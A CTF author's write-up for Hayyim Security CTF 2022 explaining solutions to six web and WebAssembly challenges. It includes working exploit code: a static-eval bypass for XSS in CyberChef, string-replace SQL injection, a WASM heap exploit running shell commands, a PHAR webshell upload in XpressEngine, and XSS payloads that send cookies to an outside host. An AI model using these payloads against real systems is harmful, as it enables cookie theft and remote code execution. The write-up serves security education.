Writeups for Hayyim Security CTF 2022

 

Cyberchef, Cyber Headchef

  • Difficulty: ★★★★★
  • Solved: 57 / 541, 22 / 541
  • Tag: XSS, Javascript

Solution

Cyberchef was the most solved challenge this overall CTF even though I thought this will be the hardest one in this CTF.
The reason was an unintended solution what I didn’t caughted from this github issue.
So I published another challenged Cyber Headchef with prohibiting use of string “table” in the payload.

But my mitigation was not enough to prevent the unintended solution.
It worked again with a null byte insertion in the middle of the table string.
Since you can check the unintended XSS payload in the link above, That will not be discussed in here.

1
2
https://gchq.github.io/CyberChef/#recipe=JPath_expression('0','\n')&input=WzEzMzdd
result : 1337

Among the many of cyberchef functionalities
you can see there’s JPath_expression which does jsonpath query with given json string.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
var _evaluate = require('static-eval');

function evaluate() {
try { return _evaluate.apply(this, arguments) }
catch (e) { }
}
// ...
'subscript-child-filter_expression': function(component, partial, count) {

// slice out the expression from ?(expression)
var src = component.expression.value.slice(2, -1);
var ast = aesprim.parse(src).body[0].expression;

var passable = function(key, value) {
return evaluate(ast, { '@': value });
}

return this.descend(partial, null, passable, count);

},

'subscript-descendant-filter_expression': function(component, partial, count) {

// slice out the expression from ?(expression)
var src = component.expression.value.slice(2, -1);
var ast = aesprim.parse(src).body[0].expression;

var passable = function(key, value) {
return evaluate(ast, { '@': value });
}

return this.traverse(partial, null, passable, count);
},
// ...

The jsonpath module tries to evaluate the given script includes subscript expression with static-eval.

1
2
3
4
5
6
7
8
9
10
11
12
13
else if (node.type === 'MemberExpression') {
var obj = walk(node.object);
// do not allow access to methods on Function
if((obj === FAIL) || (typeof obj == 'function')){
return FAIL;
}
if (node.property.type === 'Identifier') {
return obj[node.property.name];
}
var prop = walk(node.property);
if (prop === FAIL) return FAIL;
return obj[prop];
}

The static-eval tries to evaluate ast statement parsed by asprima.
They have restricted implementation for the expressions.
But there are MemberExpression, CallExpression, FunctionExpression and It’s pretty enough to mess up everything.

More than everything else, their implementaion for the MemberExpression has a obvious flaw.
The fourth line in the above snippet seems like to prevent from referencing constructor of javascript function.
But this can be easily bypassed with the statement below.

1
2
3
4
5
6
var obj = {__proto__:[].constructor};
// undefined
typeof obj
// 'object'
obj.constructor
// ƒ Function() { [native code] }

The object has a function in their __proto__ attribute returns constructor of function when their constructor referenced even though its operated value with typeof operator returns object.

1
2
3
4
5
6
7
var evaluate = require('static-eval');
var parse = require('esprima').parse;

var src = `({__proto__:[].constructor}).constructor('console.log(1337)')()`;
var ast = parse(src).body[0].expression;

evaluate(ast); // This prints "1337"

So this can be used to bypass restriction of static-eval.
And It leads to XSS vulnerability in Cyberchef application.

1
https://gchq.github.io/CyberChef/#recipe=JPath_expression('$..%5B?((%7B__proto__:%5B%5D.constructor%7D).constructor(%22self.postMessage(%7Baction:%5C'bakeComplete%5C',data:%7BbakeId:1,dish:%7Btype:1,value:%5C'%5C'%7D,duration:1,error:false,id:undefined,inputNum:2,progress:1,result:%5C'%3Ciframe/onload%3Dalert(1337)%3E%5C',type:%20%5C'html%5C'%7D%7D);%22)();)%5D','%5C%5Cn')&input=W3t9XQ

This is the payload. It gives the custom script to be evaluated to static-eval thought jsonpath.
and finally you can see It pops up 1337.

1
2
3
4
5
6
7
8
9
import requests

payload = "http://cyberchef:8000/#recipe=JPath_expression('$..%5B?((%7B__proto__:%5B%5D.constructor%7D).constructor(%22self.postMessage(%7Baction:%5C'bakeComplete%5C',data:%7BbakeId:1,dish:%7Btype:1,value:%5C'%5C'%7D,duration:1,error:false,id:undefined,inputNum:2,progress:1,result:%5C'%3Ciframe/onload%3Dfetch(`http://p6.is/flag?${document.cookie}`)%3E%5C',type:%20%5C'html%5C'%7D%7D);%22)();)%5D','%5C%5Cn')&input=W3t9XQ"

print(payload)

res = requests.post('http://1.230.253.91:8001/report', data = {
'url': payload
}, allow_redirects = False)

You could get the flag with this payload in the request from the selenium bot.

Not E

  • Difficulty:
  • Solved: 38 / 541
  • Tag: Javascript, SQLi

Solution

Intended solution was using special replacement pattern of String.prototype.replace

PatternInserts
$$Inserts a “$”.
$&Inserts the matched substring.
$`Inserts the portion of the string that precedes the matched substring.
$’Inserts the portion of the string that follows the matched substring.
1
2
3
4
5
6
7
8
9
10
11
12
#formatQuery(sql, params = []) {
for (const param of params) {
if (typeof param === 'number') {
sql = sql.replace('?', param);
} else if (typeof param === 'string') {
sql = sql.replace('?', JSON.stringify(param.replace(/["\\]/g, '')));
} else {
sql = sql.replace('?', ""); // unreachable
}
}
return sql;
};

In the given source, Database class extends sqlite db has private method which does the role of query builder.
It builds the query with params from the array after stripping the double quotes and backslash from the array elements.
SInce JSON.stringify wraps the result string with double quotes, the replacing prevents sql injection from the param.

But you still make injection in here by inserting special replacement pattern $' to the title of note. The steps are as follows.

1
2
3
4
5
6
7
8
9
10
# querystring
insert into posts values (?, ?, ?, ?)
# noteId : "60b725"
insert into posts values ("60b725", ?, ?, ?)
# title : "$'"
insert into posts values ("60b725", ", ?, ?)", ?, ?)
# content : ", (select flag from flag), char(97))-- -"
insert into posts values ("60b725", ", ", (select flag from flag), char(117)||char(115)||char(101)||char(114))-- -", ?)", ?, ?)
# username : "user"
insert into posts values ("60b725", ", ", (select flag from flag), char(117)||char(115)||char(101)||char(114))-- -", "user")", ?, ?)

This query inserts the content of flag into the new note of the user named user.
So, you can check the flag from the note list.

Wasmup

  • Difficulty: ★★
  • Solved: 4 / 541
  • Tag: WebAssembly

Solution

This challenge was inspired by this reference presented in Defcon 2018 by NCCGroup.
In contrast to wasm is the popular topic from modern browsers.
It seems there are not many web challenges dealing wasm excepting the reversing aspects.
So I thought one challenge dealing wasm can be informative for all.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int main() {
for (;;) {
printMenu();
int choice = readInt("choice");

switch (choice) {
case 1:
createNote();
break;
case 2:
editNote();
break;
case 3:
deleteNote();
break;
case 4:
emscripten_run_script("process.exit(0);");
break;
default:
puts("Invalid choice");
}
}
}

Its implementation is almost same with other basic heap challenges except that one part that exits the program.
When the user sends number 4 as input, it runs emscripten_run_script function with the string process.exit(0); which is actually javascript code to exit process.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function _emscripten_run_script(ptr) {
eval(UTF8ToString(str));
}

var asmLibraryArg = {
"emscripten_memcpy_big": _emscripten_memcpy_big,
"emscripten_resize_heap": _emscripten_resize_heap,
"emscripten_run_script": _emscripten_run_script,
"fd_close": _fd_close,
"fd_read": _fd_read,
"fd_seek": _fd_seek,
"fd_write": _fd_write,
"setTempRet0": _setTempRet0
};

The function emscripten_run_script just evaluate the string given as a parameter.
So you can execute any script If you overwrite the string process.exit(0); which is in somewhere of wasm memory.
In normal binaries complied with generic compiler like clang, gcc, It’s impossible to change these data because its section declared to read-only area. but In the case of wasm, the section is also writable since they does not distinguish bss/ro/rw sections.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

context.log_level = 'debug'

p = remote('1.230.253.91', '2000')

def create(index, content):
p.sendlineafter('choice>', '1')
p.sendlineafter('index>', str(index))
p.sendlineafter('size>', str(len(content)))
p.sendafter('content>', content)

def edit(index, content):
p.sendlineafter('choice>', '2')
p.sendlineafter('index>', str(index))
p.sendafter('content>', content)

def delete(index):
p.sendlineafter('choice>', '3')
p.sendlineafter('index>', str(index))

create(0, 'a'*0x60)
create(1, 'b'*0x8)
create(2, 'c'*0x60)
create(3, 'd'*0x69)

delete(0)
delete(2)

p.sendlineafter('choice>', '1')
p.sendlineafter('index>', '1')
p.sendlineafter('size>', str(0x81))

edit(1, b'\0'*0xc + p32(0x69) + p32(0x898 - 0x10) + p32(0) + b'\n')

create(2, b'a'*0x60)
create(2, p32(0x483) + b'a'*0x5c)

edit(0, b'console.log(require("child_process").execSync("cat /flag")+[]);process.exit(0);\n')

p.sendline('4')
p.interactive()

So, above is the actual exploit for Wasmup.

createNote function has a flaw that changes the size of the specific note even though the invalid size has given.
By that flaw, you can overwrite note[0] to the address of process.exit(0);

It prints flag by calling emscripten_run_script after manipulating data.

Gnuboard

  • Difficulty: ★★★
  • Solved: 4 / 541
  • Tag: PHP

Solution

Gnuboard is one of most popular cms in SK used for non-commerial projects.
Few years ago, I used to report vuln of gnuboard but It seems how they adds new feature meh.
Inspired by many of their bugs, I decided to make a challenge from it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
FROM ubuntu:20.04
ARG DEBIAN_FRONTEND=noninteractive

RUN apt-get update
RUN apt-get install -y wget curl apache2 git php-gd php-mysql php

RUN git clone https://github.com/gnuboard/gnuboard5 /tmp/gnuboard
RUN cp -r /tmp/gnuboard/* /var/www/html
RUN sed -i 's/AllowOverride None/AllowOverride All/g' /etc/apache2/apache2.conf

WORKDIR /var/www/html

RUN mkdir data
RUN chmod 777 data
RUN rm -rf index.html /tmp/gnuboard

RUN echo '$flag = "hsctf{flag-will-be-here}";' >> /var/www/html/common.php

ADD entrypoint.sh /
CMD /entrypoint.sh

You can see it saves the flag at common.php as a variable in the given dockerfile.
So It requires you to find vulnerability can print specific variable or execute command or prints the content of common.php. the intended solution was the first.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$netcancelResultString = ""; // 망취소 요청 API url(고정, 임의 세팅 금지)

if ($httpUtil->processHTTP($netCancel, $authMap)) {
$netcancelResultString = $httpUtil->body;
} else {
echo "Http Connect Error\n";
echo $httpUtil->errormsg;

throw new Exception("Http Connect Error");
}

echo "## 망취소 API 결과 ##";

$netcancelResultString = str_replace("<", "&lt;", $$netcancelResultString);
$netcancelResultString = str_replace(">", "&gt;", $$netcancelResultString);

echo "<pre>", $netcancelResultString . "</pre>";

shop/inicis/inistdpay_result.php make http requests to given url and parse them.
When the request for the authUrl has failed, It tries to cancel the request gracefully by requesting the netCancelUrl specified.
You can control both of authUrl and netCancelUrl, so It comes to print user specific variable at the last statement.

1
2
3
4
5
import requests

res = requests.get('http://1.230.253.91:5000/shop/inicis/inistdpay_result.php?authUrl=https://x/&resultCode=0000&authToken=x&netCancelUrl=https://p6.is/1.php&x=flag')

print(res.text)

Intended exploit is above, 1.php in netCancelUrl just prints x without any whitespace.
$x is defined as a string flag by extract($_GET) in common.php, so It prints the $flag as a result.
You can see the flag in the response.

XpressEngine

  • Difficulty: ★★★
  • Solved: 2 / 541
  • Tag: PHP, RCE

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
FROM ubuntu:18.04

ARG DEBIAN_FRONTEND=noninteractive

WORKDIR /var/www/html

RUN apt-get update
RUN apt-get install -yq --no-install-recommends apt-utils build-essential
RUN apt-get install -yq evince

ENV TZ=Asia/Seoul
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone

RUN apt-get upgrade -yq
RUN apt-get install git wget curl unzip apache2 php7.2 php7.2-fpm \
php7.2-mysql libapache2-mod-php7.2 php7.2-curl php7.2-gd php7.2-json php7.2-xml php7.2-mbstring php7.2-zip -yq

RUN wget http://start.xpressengine.io/download/latest.zip
RUN unzip latest.zip && chmod -R 707 storage/ bootstrap/ config/ vendor/ plugins/ index.php composer.phar

RUN rm -rf /var/www/html/latest.zip /var/www/html/index.html
RUN echo "ServerName localhost" >> /etc/apache2/apache2.conf
RUN sed -i 's/AllowOverride None/AllowOverride All/g' /etc/apache2/apache2.conf
RUN a2enmod rewrite
RUN service apache2 restart

ADD entrypoint.sh /
CMD /entrypoint.sh

Like the gnuboard, the dockerfile just installs apache2 and xpressengine on generic ubuntu:18.04 image.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
'mimes' => [
'black' => [
'pdf' => 'application/pdf',
'mid' => 'audio/midi',
'midi' => 'audio/midi',
'mpga' => 'audio/mpeg',
'mp2' => 'audio/mpeg',
'mp3' => 'audio/mpeg',
'aif' => 'audio/x-aiff',
'aiff' => 'audio/x-aiff',
'aifc' => 'audio/x-aiff',
'ram' => 'audio/x-pn-realaudio',
'rm' => 'audio/x-pn-realaudio',
'rpm' => 'audio/x-pn-realaudio-plugin',
'ra' => 'audio/x-realaudio',
'rv' => 'video/vnd.rn-realvideo',
'wav' => 'audio/x-wav',
'jpg' => 'image/jpeg',
'jpeg' => 'image/jpeg',
'jpe' => 'image/jpeg',
'png' => 'image/png',
'gif' => 'image/gif',
'bmp' => 'image/bmp',
'tiff' => 'image/tiff',
'tif' => 'image/tiff',
'mpeg' => 'video/mpeg',
'mpg' => 'video/mpeg',
'mpe' => 'video/mpeg',
'qt' => 'video/quicktime',
'mov' => 'video/quicktime',
'avi' => 'video/x-msvideo',
'movie' => 'video/x-sgi-movie',
'3g2' => 'video/3gpp2',
'3gp' => 'video/3gp',
'mp4' => 'video/mp4',
'm4a' => 'audio/x-m4a',
'f4v' => 'video/mp4',
'webm' => 'video/webm',
'aac' => 'audio/x-acc',
'm4u' => 'application/vnd.mpegurl',
'wmv' => 'video/x-ms-wmv',
'au' => 'audio/x-au',
'ac3' => 'audio/ac3',
'flac' => 'audio/x-flac',
'ogg' => 'audio/ogg',
'wma' => 'audio/x-ms-wma',
'ico' => [
'image/x-icon',
'image/vnd.microsoft.icon',
],
'php' => 'application/x-httpd-php',
'php4' => 'application/x-httpd-php',
'php3' => 'application/x-httpd-php',
'phtml' => 'application/x-httpd-php',
'phps' => 'application/x-httpd-php-source',
'js' => 'application/javascript',
],

Xpressengine defines their blacklist for uploaded files at config/filesystems.php.
You can see It blocks php php3 php4 phtml to do not upload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<FilesMatch ".+\.ph(ar|p|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+\.phps$">
SetHandler application/x-httpd-php-source
# Deny access to raw php sources by default
# To re-enable it's recommended to enable access to the files
# only in specific virtual host or directory
Require all denied
</FilesMatch>
# Deny access to files without filename (e.g. '.php')
<FilesMatch "^\.ph(ar|p|ps|tml)$">
Require all denied
</FilesMatch>

# Running PHP scripts in user directories is disabled by default
#
# To re-enable PHP in user directories comment the following lines
# (from <IfModule ...> to </IfModule>.) Do NOT set it to On as it
# prevents .htaccess files from disabling it.
<IfModule mod_userdir.c>
<Directory /home/*/public_html>
php_admin_flag engine Off
</Directory>
</IfModule>

Though in the /etc/apache2/mods-available/php7.2.conf which enabled with php installing,
It enables the files have phar extension to interpret as a php script file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
[{
"file_id": "98ee15c9-8944-44da-8d0f-1996dfe69ef7",
"folder_id": "ef1f2203-2dfb-4f96-a4f6-de1fd6f691b1",
"user_id": "cfe4f40e-29d8-4104-b2bb-0a6f7826595a",
"title": "test.phar",
"ext": "phar",
"site_key": "default",
"id": "cdb63e8a-ac44-4339-942a-b5b11db9cbe4",
"updated_at": "2022-02-15 15:02:52",
"created_at": "2022-02-15 15:02:52",
"user": {
"id": "cfe4f40e-29d8-4104-b2bb-0a6f7826595a",
"display_name": "admina",
"introduction": null,
"profile_image_url": "http:\/\/1.230.253.91:4000\/assets\/core\/user\/img\/default_avatar.png",
"profileImage": "http:\/\/1.230.253.91:4000\/assets\/core\/user\/img\/default_avatar.png"
},
"file": {
"id": "98ee15c9-8944-44da-8d0f-1996dfe69ef7",
"user_id": "cfe4f40e-29d8-4104-b2bb-0a6f7826595a",
"path": "public\/media_library\/98\/ee",
"filename": "202202151502525eefc6cc17cfd8e2d3e11b3a4b911eaa08077661.phar",
"clientname": "test.phar",
"mime": "image\/png",
"size": 281,
"download_count": 0,
"url": "http:\/\/1.230.253.91:4000\/storage\/app\/public\/media\/public\/media_library\/98\/ee\/202202151502525eefc6cc17cfd8e2d3e11b3a4b911eaa08077661.phar",
"width": 1,
"height": 1,
"thumbnail_url": "http:\/\/1.230.253.91:4000\/storage\/app\/public\/thumbnails\/4a\/08\/spill_400x400_4bf0a901851d7e833e1e586bb54d7d68795cb853.phar",
"download_url": "http:\/\/1.230.253.91:4000\/media_library\/file\/cdb63e8a-ac44-4339-942a-b5b11db9cbe4\/download"
}
}]

At the same time, /media_library/file route returns the path where the original file uploaded.
And the request to the path not prohibited.
So, after uploading file with phar extension embeds custom php script can make us execute any php command into it.

1
http://1.230.253.91:4000/storage/app/public/media/public/media_library/98/ee/202202151502525eefc6cc17cfd8e2d3e11b3a4b911eaa08077661.phar?cmd=system("cat /flag");

The request to the file.url path will return flag.

Marked

  • Difficulty: ★★★★
  • Solved: 0 / 541
  • Tag: Javascript, XSS

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
const sanitizeHtml = require('sanitize-html');
const nodeHtmlParser = require('node-html-parser');
const marked = require('marked');

// ...

app.post('/new', (req, res) => {
const { login } = req.session;
let { title, content } = req.body;

if (!checkParam(title) || !checkParam(content)) {
return res.redirect(`/list?message=invalid argument`);
}

/* convert markdown to html */
const html = marked.parse(content);

/* sanitize string as suggested by vendor
* https://github.com/markedjs/marked/blob/96c46c75957fa6fbcd9153f29ac71322eb4c74b8/README.md#usage
*/
const safeHtml = sanitizeHtml(html);

/* remove unuseful <p> wrapper */
const dom = nodeHtmlParser.parse(safeHtml);

if (dom.childNodes.length === 2 && dom.firstChild.rawTagName === 'p' && dom.lastChild._rawText === '\n') {
content = dom.firstChild.innerHTML;
} else {
content = dom.innerHTML;
}

Marked was a XSS challenge besides cyberchef below.
It converts the markdown string content to html with well-known markdown library called marked.
and the output goes to be santized with sanitize-html.
at the last, It parsed by node-html-parser again.

1
2
# node-html-parser
**Fast HTML Parser** is a very fast HTML parser. Which will generate a simplified DOM tree, with element query support.

The first hint There's too many things to think about to implement a FAST parser. describes about readme of node-html-parser above.

1
2
3
4
5
const sanitize = require('sanitize-html');
const { parse } = require('node-html-parser');

let html = "</a<a><a><a<a\x0ba ";
console.log(parse(sanitize(html)).outerHTML); // <a></a</a><a a></a>

node-html-parser intends to misinterpret \x0b and unclosed closing html tag.
Such misinterpretion can be used to bypass non-script sanitizer like sanitize-html.

1
2
3
4
5
6
7
8
9
10
11
const marked = require('marked');
const sanitizeHtml = require('sanitize-html');
const nodeHtmlParser = require('node-html-parser');

let html = "</header <a><a><a<a\x0bonx=a ";

html = marked.parse(html);
html = sanitizeHtml(html);
html = nodeHtmlParser.parse(html).outerHTML;

console.log(html);

When it comes to the case used with marked, The condition gets a little more complicated because marked also mutates input string.

So I wrote a generic DOM based dumb fuzzer for javascript to find. You can check the link If you interested.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mport requests, random

HOST = 'http://1.230.253.91:3000'

s = requests.Session()

res = s.post(HOST + '/login', {
'username': 'posix',
'password': '1337'
})

res = s.post(HOST + '/new', {
'title': 'abcd',
'content': "</header <a><a\t><h<a\x0Bstyle='animation-name:spinner-donut-anim'onanimationend='fetch(`http:\\x2f\\x2fp6.is\\x2f${document.cookie}`)' "
})

print(res.text)

So above is the intended solution creates a note including XSS payload doesn’t require any user-interaction.